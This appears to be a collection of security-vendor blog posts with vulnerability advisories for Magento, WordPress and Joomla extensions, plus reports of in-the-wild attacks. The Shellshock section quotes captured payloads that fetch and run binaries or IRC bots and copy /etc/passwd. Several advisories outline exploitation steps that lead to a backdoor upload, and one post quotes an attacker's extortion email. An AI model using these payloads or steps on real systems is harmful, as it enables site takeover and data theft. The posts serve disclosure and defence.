Magento Shoplift (SUPEE-5344) Exploits in the Wild

As warned a few days ago, the Magento Shoplift (SUPEE-5344) vulnerability details have been disclosed by the CheckPoint team. They show step by step how it can be exploited to take over a vulnerable Magento site.

They have prepared the following video showing a Proof of Concept (PoC) in which they create a fake coupon:

That’s a simple example. This vulnerability can be exploited in much more devastating ways.

Magento ShopLift in the Wild

As expected, it is now actively being exploited.

In less than 24 hours since the disclosure, we have started to see attacks via our WAF logs trying to exploit this vulnerability. It seems to be coming from a specific crime group, since they all look the same:

Read More

Security Advisory – High Severity– WordPress Download Manager

Advisory for: WordPress Download Manager
Security Risk: Very High
Exploitation level: Easy/Remote
DREAD Score: 9/10
Vulnerability: Code Execution / Remote File Inclusion
Patched Version: <2.7.5

If you’re using the popular WP Download Manager plugin (around 850,000 downloads), you should update right away. During a routine audit for our Website Firewall (WAF), we found a dangerous remote code execution (RCE) and remote file inclusion (RFI) vulnerability. A malicious user can exploit this vulnerability to take control of your website by uploading backdoors and modifying user passwords.

The vulnerability was discovered and disclosed last week and immediately patched by the WP Download Manager. They have released a patch in version 2.7.5 to fix this issue.

What are the risks?

Any WordPress based website running the WP Download Manager version would be susceptible to remote code execution. Allowing an attacker to inject a backdoor and change important credentials, like admin accounts.

If you use an affected version of this plugin, please update it as soon as possible! Clients on our Website Firewall have been protected from this vulnerability via our Zero Day response mechanism.

Technical details

The plugin used a custom method to handle certain types of Ajax requests which could be abused by an attacker to call arbitrary functions within the application’s context. There were no permission checks before handling these special Ajax calls. This allowed a malicious individual (with a minimal knowledge of WordPress internals) to inject a backdoor on the remote site or to change the administrator’s password if the name of his account was known. As this function is hooked to the “wp” hook (which is executed every single time somebody visits a post/page), it could be abused by anyone.

The culprit

The culprit was in the wpdm_ajax_call_exec() function. It is calling a user function provided by the super global variable $_POST[‘execute’], allowing a user to call any function available within the current execution context.

Sucuri- WP-DownloadManager-Ajaxcall

Sucuri- WP-DownloadManager-Ajaxcall

Finding an interesting function to use

In our research for a useful function to call, we found this one really interesting. The wpdm_upload_icon() function allowed us to upload any files we want to the /file-type-icons/ directory.

Sucuri WP DownloadManager - Interesting Function

Sucuri WP DownloadManager – Interesting Function

The check_ajax_referer(‘icon-upload’) call that occurs before any sensitive actions is taken. This would normally prevent anyone without a valid nonce to execute it. That said, as we could execute any function in the application’s context, nothing prevented us from calling the snippet of code generating that particular nonce first.

The Result

To exploit this issue, an attacker would need to generate a valid nonce, and then send a request that calls the wpdm_upload_icons() function to upload his backdoor on it’s target.

Once this done, he might do just about anything he wants with it.

Security advisory – High severity – InfiniteWP Client WordPress plugin

Advisory for: InfiniteWP Client for WordPress
Security Risk: High (DREAD score : 8/10)
Exploitation level: Easy/Remote
Vulnerability: Privilege escalation and potential Object Injection vulnerability.
Patched Version: 1.3.8

If you’re using the InfiniteWP WordPress Client plugin to manage your website, now is a good time to update. While doing a routine audit of our Website Firewall product, we discovered a vulnerability in the plugin that could be used by a malicious individual to 1) disable a users web site by putting it in maintenance mode and 2) allows the user to control the content of the maintenance page.

What are the risks?

Every website using InfiniteWP version below the 1.3.8 version is at risk. An attacker knowing the site’s administrator’s username could force your website to display malicious content. They can force your site to go into maintenance mode and any of the following could be injected:

  • Javascript or iframe malware.
  • Spam links
  • Defacement messages (the infamous “hacked by” type of attack)

Additionally, this security update also fixes a potential Object Injection vulnerability, although our proof of concept didn’t exploit that particular issue.

As always, if you use an affected version of this plugin, update as soon as possible!

Technical details

The InfineWP Client listens for commands through the php://input stream, which once decoded is used to perform administrative actions on the website. These commands are authenticated using the OpenSSL PHP libraries which block anyone trying to spoof requests to the client. However, in this specific case the plugin was allowing certain actions to be executed before the authentication method.

One of these commands allows an attacker to set the whole website on “maintenance mode” and set the maintenance message to whatever he wants. We will not disclose any more details for at least 30 days, but you can see how serious it is.

Upgrade as soon as possible!

This is a very dangerous vulnerability, upgrading your affected websites should be done immediately!

JoomDonation Compromised

We are receiving reports from many users of the popular JoomDonation platform that they received a very scary email from someone that supposedly hacked into JoomDonation. The emails went to the registered accounts and contained the full names, so it looks like JoomDonation did in fact get breached.

This is the full email:

How the hell are you? No need to ask, I’m fine!

I’m the one who has hacked all of your sites, emails, accounts etc. that has been using site/components. Scaring? Hell Yea :-)

About 15 months ago, I was able to penetrate into several Joomla sites. One of these luckies was After a while I realised that their crappy components were used by other Joomla developers too so I injected my shells into components. As per result, I’ve a list of 300000+ Joomla users+emails and you’re just one of them, lucky thing :-)


Yea Yea I know you all have scanners, firewalls, admin tools etc installed on your server/site but you what? F*ck em all. They’re just noob tools. Think about, I’ve injected my own shells into 10000+ Joomla sites and none of you or your magic tools have been awared of.

WARNING: You have 5 days to clean up your sites then my bot will start putting your sites down. If your site was not so valuable for me, removing the components would be enough. If so, then I will most probably blackmail you soon :-)

Want an advice from a hacker? Don’t use any script from Thailand/Vietnam developers, their code is so crappy :-) Try Indian quality.

This email was sent to all users. We’ll meet again if you have accounts registered to other Joomla developers :-)

Our research team is trying to confirm if any of the downloads from JoomDonation contain a backdoor, and we will post more details soon on what we find.

The JoomDonation developer has confirmed their environment has been compromised, but believes the issues to be specific to their server:

Hi All

I believe this is not security issues in our components/extensions. Someone hacked our server (we are using bluehost VPS server for hosting our website) somehow and uses the email systems to send this spam emails to all of you.

They want to destroy our business (and they mentioned India somehow in the email). Just the quick update from us, we will provide more information when we found something!

We are really sorry for this trouble.

The concern here is two fold:

  1. How did the attackers penetrate JoomDonation? If they leveraged a Zero-Day, then it’s likely the attacker can in fact penetrate other environments configured the same way.
  2. How is the attacker contacting JoomDonation users? This leads you to believe that there has been some level of data breach and user PII information has been compromised.

Currently, the attacker appears to be contacting those that have purchased any of the JoomDonation extensions, which include:

  1. Events Booking
  2. OS Property
  3. EShop
  4. Membership Pro
  5. EDocman
  6. CSV Advanced
  7. OS Services Booking
  8. Joom Donation
  9. Documents Seller

In the meantime, we highly recommend disabling this extension from your website. I would also highly recommend putting it behind a Website Firewall (WAF) with all hardening options enabled to minimize the chances of a compromise in case the extension has a 0-day vulnerability or backdoor.

:::::Update: 20141126 :::::

Tuan provides more details on the compromise, he states:

Dear all,

As you know, today, our hosting account was hacked. The hacker got a small part of our users information (only name and email) and emailed to these users that their sites were hacked. Infact, these sites are not hacked at all.
We have been working hard on this issue. Here are something we found and would like to inform you about them:

1. The security issue is not related to our extensions at all. So all the sites which are using our extensions at the moment will still be safe.

2. The issue came from a security hole in the hosting server which we have used. We have been using a VPS server to secure customers data, unfortunately, there was still security hole and the server has no Firewall software, so the hacker could get into the system and stole these information. We are working to move our website to a more secure server with a better hosting provider. However, it will take us one or two days for doing that.

3. The hacker just got a small part of our users information (contain name, email) and publish some of them. Few hours after the information was published (just name and a part of the email – the domain of the email is hidden), it was deleted and could not be viewable from public. So the information would be secure from now as well

4. We can assure that your sites are still safe. However, we advice that you change super admin account (and FTP account) of your site.

5. We will continue analyzing the server logs and will inform more information about this issue ASAP.

We are really sorry about this issue and hope you will stay with us and do more business with us in the future. Our extensions are good and secure, it is just the hosting server insecure and causes us all these trouble.

Sincerely, JoomDonation

Joomla! 3.3.5 Released – Fixing High Priority Security Issues

Update: It seems like there is a glitch in the new version and the Joomla team is urging its users not to upgrade yet. From their twitter:

Screen Shot 2014-09-30 at 4.04.31 PM

Original post:

The Joomla team just released versions 3.3.5, 3.2.6 and 2.5.26, patching high priority security issues. The first one is an Remote File Include (RFI) vulnerability and the second one is a Denial of Service (DoS) vulnerability that affect all previous versions. If you are using Joomla, stop what you are doing and update it now!

The good news for our clients and what’s very exciting for us, me especially, is to see how the virtual hardening on our CloudProxy Website firewall protected our clients automatically against this vulnerability. As our researchers started to analyze the disclosure, we quickly noticed that it was already covered and the URL used to trigger this bug was already blocked by default. It means that our clients got zero-day protection without anyone even knowing about this issue.

For more information on these vulnerabilities, you can get straight from the Joomla! release notes:

High Priority – Core – Remote File Inclusion:

Project: Joomla!
SubProject: CMS
Severity: Moderate
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Remote File Inclusion
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7228

Inadequate checking allowed the potential for remote files to be executed.

This issue was discovered by Johannes Dahse and disclosed to Akeeba (and Joomla). The Akeeba team released a good post explaining the issue. We recommend reading if you are interested in the technical details.

Medium Priority – Core – Denial of Service:

Project: Joomla!
SubProject: CMS
Severity: Low
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Denial of Service
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7229

Inadequate checking allowed the potential for a denial of service attack.

Again, if you are using the Joomla! we highly recommend updating immediately.

Bash – ShellShocker – Attacks Increase in the Wild – Day 1

The Bash ShellShocker vulnerability was first disclosed to the public yesterday, 2014/Sep/24. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via it’s Zero Day response mechanism. This allowed us to to create sinkholes to start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c x22uname -ax22"

"() { :;}; echo vulnerable' bash -c x22ls /x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget -O /tmp/.osock;  else /usr/bin/wget -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c x22cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jurx22"

All being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget"

() { :;}; echo shellshock-scan > /dev/udp/"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq"

() { :; }; ping -c 17" "() { :; }; ping -c 17" 

() { :;}; /bin/bash -c x22/usr/bin/wget -O /tmp/a.plx22"

() { :;}; echo; /usr/bin/id" ""

() { :;}; /usr/bin/env curl -s   > /dev/null" "() { :;}; /usr/bin
/env curl -s  > /dev/null"

() { :;}; /bin/env curl -s  > /dev/nu

() { :;}; /bin/bash -c x22wget"

() { :;}; wget" 

() { :; }; curl"

() { test;};/usr/bin/wget -O ~/cgi-bin/APM.mp3"

And even via email:

() { :; }; mail -s x22Your filesx22

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

The most targeted URLs have been:


We will keep monitoring and we will post more details as we go.

If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to

Many might be using the CloudFlare Free product, please note that you are not protected from this with their Free product as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

Security Advisory – Hikashop Extension for Joomla!

Advisory for: Hikashop for Joomla!
Security Risk: High (DREAD score : 7/10)
Vulnerability: Object Injection / Remote Code Execution
Updated Version: 2.3.2

In a routine audit of our Website Firewall we discovered a serious vulnerability within the Hikashop ecommerce product for Joomla! allowing remote code execution on the vulnerable website[s].

What are the risks?

This vulnerability affects Joomla! websites running Hikashop (< 2.3.2). It requires open account registration with email activation, this is the default configuration. In this particular case, a malicious user (actor) can remotely execute commands on the site (RCE), allowing them to do things like read any configuration file, modify files, and / or insert malware.

Because of the severity, you need to update your Hikashop installations as soon as possible. The Hikashop team released an update and provided more details on the issue here: Security Issue for HikaShop 2.3.2 and below and for HikaMarket 1.4.2 and 1.4.3

Technical details

The extension was using some code within the user activation part of the software that relied on the PHP’s unserialize() function to confirm user-provided information. The keyword to remember here is user-provided.

As a rule of thumb, it is wise to never send raw, user-provided data, to sensitive functions (especially to unserialize()). In this case, it lead to an Object Injection vulnerability.

An attacker could use this behavior to spawn any classes available in the application’s context, modifying any internal variable it might have in an attempt to modify the class destructor’s execution flow.

These type of attacks are highly dependent on the available classes to the attacker when unserialize() parses its payload. We naturally thought it might be a good idea to verify whether or not something bad could be done using Joomla! 3.* classes, and it turns out there is. Using this, we were able to turn the Object Injection issue into a Remote Code Execution vulnerability, allowing us to run commands on the remote site.

Because of the severity, we will not release any POC (proof of concept code) or provide more details until user have had more time to update. After 30 days, we will disclose all information.

Update Hikashop as soon as possible!

Please update Hikashop immediately! The developers did their part and released an update within hours of our disclosure. Now, it is time for you to do your part and update your sites.

Note that site running behind our Website Firewall were remotely patched using our Zero Day Immediate Response feature.

Security Advisory – VirtueMart Extension for Joomla!

Advisory for: VirtueMart for Joomla!
Security Risk: High
Exploitation level: Easy/Remote
Vulnerability: Access control bypass / Increase of Privilege
Updated Version: 2.6.10c
Patched Version: 2.6.8c

If you’re using the popular VirtueMart Joomla! extension (more than 3,500,000 downloads), you should update right away. During a routine audit for our Website Firewall (WAF) product we found a critical vulnerability that could be used by a malicious user to easily gain Super-Admin privileges on your website. With super-admin access, the attacker has full control of the site and database.

The bug was discovered and disclosed last week and immediately patched by the VirtueMart team (in record time). They also released the update 2.6.8c to fix this issue.

What are the risks?

Any Joomla! based website running the VirtueMart version <2.6.8c and allowing user registration (default mode for VirtueMart – since it is an online shopping cart for Joomla!), are at risk of a total website takeover. A successful exploit would allow an attacker to become a Super-Administrator and do anything they want, this could include uploading backdoors to your server, running spam campaigns, or distributing malware to your visitors.

If you use an affected version of this extension, please update it as soon as possible! Note that sites using our WAF (Website firewall) product are already protected against this threat.

Technical details

Update: We are removing the technical details as requested. Other extensions might be vulnerable to the same issue, so we will do more research on that.

VirtueMart uses Joomla’s JUser class “bind” and “save” methods to handle user accounts information. That’s not a problem in it of itself, but this class is very tricky and easy to make mistakes with.

The bind method roughly does the same thing as PHP’s array_merge function, except for a few points such as live password encryption and the fact that it operates on a class rather than an array.


In the above code snippet, you can see that the extension pass the $data variable (which, at this point in execution, contains the whole $_POST array) directly to the bind() call. While it is an effective way to save/modify user informations, not whitelisting what parameters should be modified is a very bad idea. It basically allows anybody to modify every single variables within JUser’s class scope!

Using this dangerous behaviour, an attacker could modify JUser’s $isRoot, $groups and $_authGroups variables to add their account to the Super-Administrator group, thus giving them full privileges over the target website / environment.

Upgrade VirtueMart as soon as possible!

This is a serious vulnerability and the VirtueMart team did their part by releasing a patch right away. Now do your part and update any site using it.

MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

A few weeks ago we found and disclosed a serious vulnerability on the MailPoet WordPress Plugin. We urged everyone to upgrade their sites immediately due to the severity of the issue. The vulnerability allowed an attacker to inject anything they wanted on the site, which could be used for malware injections, defacement, spam and many more nefarious acts.

This is not something we’re excited to report, but we were right.

A few days ago we started to see a massive number of WordPress sites compromised with malware. The malware code had some bugs, it was breaking many websites, overwriting good files and appending various statements in loops at the end of files.

At the time of the post, the root cause of the malware injections was a bit of a mystery. After a frantic 72 hours, we are confirming that the attack vector for these compromises is the MailPoet vulnerability. To be clear, the MailPoet vulnerability is the entry point, it doesn’t mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighboring website, it can still affect your website.

All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account (cross-contamination still matters).

Exploited in the Wild

The attacks always start the same, with the attackers trying to upload a custom (and malicious) theme to the site: - - [05/Jul/2014:01:41:30 -0700] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.0" 302 - "" "Mozilla/5.0"

Once they succeed in uploading the malicious theme, they access their backdoor inside /wp-content/uploads/wysija/themes/mailp/: - - [05/Jul/2014:01:41:31 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php HTTP/1.1" 200 12 "Mozilla/5.0" - - [05/Jul/2014:04:08:16 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php?cookie=1 HTTP/1.0" 200 12 "-" "Mozilla/5.0 (Windows)"
The Result

They get full control of the site.

The backdoor is very nasty and creates an admin user called 1001001. It also injects a backdoor code to all theme/core files. The biggest issue with this injection is that it often overwrites good files, making very hard to recover without a good backup in place.

So if you see this error on a site:

Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91

It means it was likely hacked through this vulnerability.

Mass Infections

MailPoet is a very popular plugin with almost 2 million downloads, so as you can expect, when such severe vulnerability is identified, it can be mass exploited.

This is the total number of hacked sites that we were able to identify so far (per day):


This is based on sites scanned on our free sitecheck scanner. The number of hacked sites is likely much larger.

Upgrade Mailpoet!

If you are running MailPoet, we recommend upgrading it asap to the latest version. Users of our Website Firewall (CloudProxy) have been protected against this threat since day 0. However, if you do not have a firewall (WAF) on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.

Disclosure: Insecure Nonce Generation in WPtouch

If you use the popular WPtouch plugin (5M+ downloads) on your WordPress website, you should update it immediately.

During a routine audit for our WAF, we discovered a very dangerous vulnerability that could potentially allow a user with no administrative privileges, who was logged in (like a subscriber or an author), to upload PHP files to the target server. Someone with bad intentions could upload PHP backdoors or other malicious malware and basically take over the site.

So to make a long story short, if you’re running WPtouch, then update immediately!

Update (11:18am) This disclosure only applies to 3.x versions of WPtouch. Administrators using 2.x and 1.x versions of the plugin will not be affected by the vulnerability.

What Are the Risks?

First of all, this vulnerability can only be triggered if your website allows guest users to register. If your site falls within this category, a logged­-in attacker could potentially take over your website by uploading a backdoor (remote shell) inside your website’s directories, allowing him to do anything he wants with your website.

Technical Details

If you read our last disclosure, you may remember that we mentioned that the WordPress “admin_init” hook should not be used as an authentication method. This bug illustrates another reason that the “admin_init” hook should not be used in this way (though, it does so more subtly).

In the file “core/class­wptouch­pro.php“, the “admin_initialize()” method was called by the “admin_init” hook.

Here is the interesting piece of it:

function admin_initialize() {

// load the rest of the admin scripts when we’re looking at the WPtouch Pro page
if ( $this­>admin_is_wptouch_page() ) {

} else {
$localize_params = array(
‘admin_url’ => get_bloginfo(‘wpurl’) . ‘/wp­admin’,
‘admin_nonce’ => wp_create_nonce( ‘wptouch_admin’ )
$localize_params ););

// Set up AJAX requests here
wp_localize_script( ‘wptouch­pro­other­admin’, ‘WPtouchCustom’,

If you notice the admin nonce getting generated and then added to WordPress script’s queue, then you can probably see where we’re going with this.

function handle_upload_file() {
header( ‘HTTP/1.1 200 OK’ );
$nonce = $this­>post[ ‘wp_nonce’ ];
if( wp_verify_nonce( $nonce, ‘wptouch_admin’ ) ) {
switch( $this­>post[ ‘file_type’] ) {
(…some upload mechanism…)

This nonce was also used to verify whether or not a user could upload files to the server. As the script didn’t use any other form of identification to check or authenticate the user’s privilege to upload files, it was possible for any user to complete the upload in there.

All an attacker had to do in order to compromise a vulnerable website was:

  1. Log­in and get his nonce via wp-admin.
  2. Send an AJAX file upload request containing the leaked nonce and his backdoor.

For developers, the key takeaway from all of this should be to avoid using nonces by themselves to protect sensitive methods. Instead, make sure to always add functions such as “current_user_can()” or something similar to confirm a user’s right to do something.

Update as Soon as Possible!

This vulnerability illustrates, yet again, the reason that attackers will always be able to find some way into your system. If you’d been adhering to the principle of least privilege, you would still be vulnerable because of a small error in the code, and since humans write code, there will always be errors that attackers will be able to exploit.

In this case, the great thing is that we disclosed the vulnerability to the WPtouch team and they swiftly put a patch online to correct this issue (version 3.4.3 WPtouch Changelog). In order to correct this issue on your website, all you have to do is to update the plugin on your administration panel. And like we said before, you should do so ASAP.

Finally, if you’re noticing anything strange with your website, make sure to check out our easy to understand malware symptoms. If you need help, we’re always available to take a look at your website to make sure hackers haven’t taken control of your environment.

For our customers: The good news is that every website that is protected by our Website Firewall – CloudProxy is already protected against this vulnerability, so that means your website is secure.